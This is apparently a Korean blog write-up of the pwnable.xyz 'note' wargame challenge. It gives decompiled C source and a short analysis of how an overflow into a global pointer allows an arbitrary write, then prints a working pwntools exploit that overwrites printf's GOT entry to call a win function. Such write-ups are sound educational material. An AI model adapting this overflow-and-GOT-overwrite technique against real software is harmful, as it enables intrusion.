소스코드
int __fastcall main(int argc, const char **argv, const char **envp)
{
int int32; // eax
setup(argc, argv, envp);
puts("Note taking 101.");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_menu();
int32 = read_int32();
if ( int32 != 1 )
break;
edit_note();
}
if ( int32 != 2 )
break;
edit_desc();
}
if ( !int32 )
break;
puts("Invalid");
}
return 0;
}
void edit_note()
{
int int32; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]
printf("Note len? ");
int32 = read_int32();
buf = malloc(int32);
printf("note: ");
read(0, buf, int32);
strncpy(s, buf, int32);
free(buf);
}
ssize_t edit_desc()
{
if ( !buf )
buf = malloc(0x20uLL);
printf("desc: ");
return read(0, buf, 0x20uLL);
}
int read_int32()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, buf, 0x20uLL);
return atoi(buf);
}
int win()
{
return system("cat flag");
}
[*] '/mnt/a/pwnable.xyz/note/challenge'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
분석
edit_note 함수에서 사이즈, 내용을 입력받고 전역변수 s에 저장한다 그런데 전역변수 s 아래에는 buf 변수가 있어서 덮을 수 있다.
그래서 덮은 다음에 edit_desc 함수로 AAW가 가능하다.
exp.py
from pwn import *
p = remote("svc.pwnable.xyz", 30016)
#p = process("./challenge")
e = ELF("./challenge")
p.sendlineafter(b">", b"1")
p.sendlineafter(b"len", b"40")
payload = b"A"*0x20 + p64(e.got['printf'])
p.sendafter(b"note: ",payload)
p.sendlineafter(b">", b"2")
p.sendafter(b"desc: ",p64(e.symbols['win']))
p.interactive()
'Wargame' 카테고리의 다른 글
[pwnable.xyz] two targets (0) | 2025.02.04 |
---|---|
[pwnable.xyz] xor (0) | 2025.02.04 |
[pwnable.xyz] GrownUp (0) | 2025.02.04 |
[pwnable.xyz] misalignment (0) | 2025.02.04 |
[pwnable.xyz] add (0) | 2025.02.04 |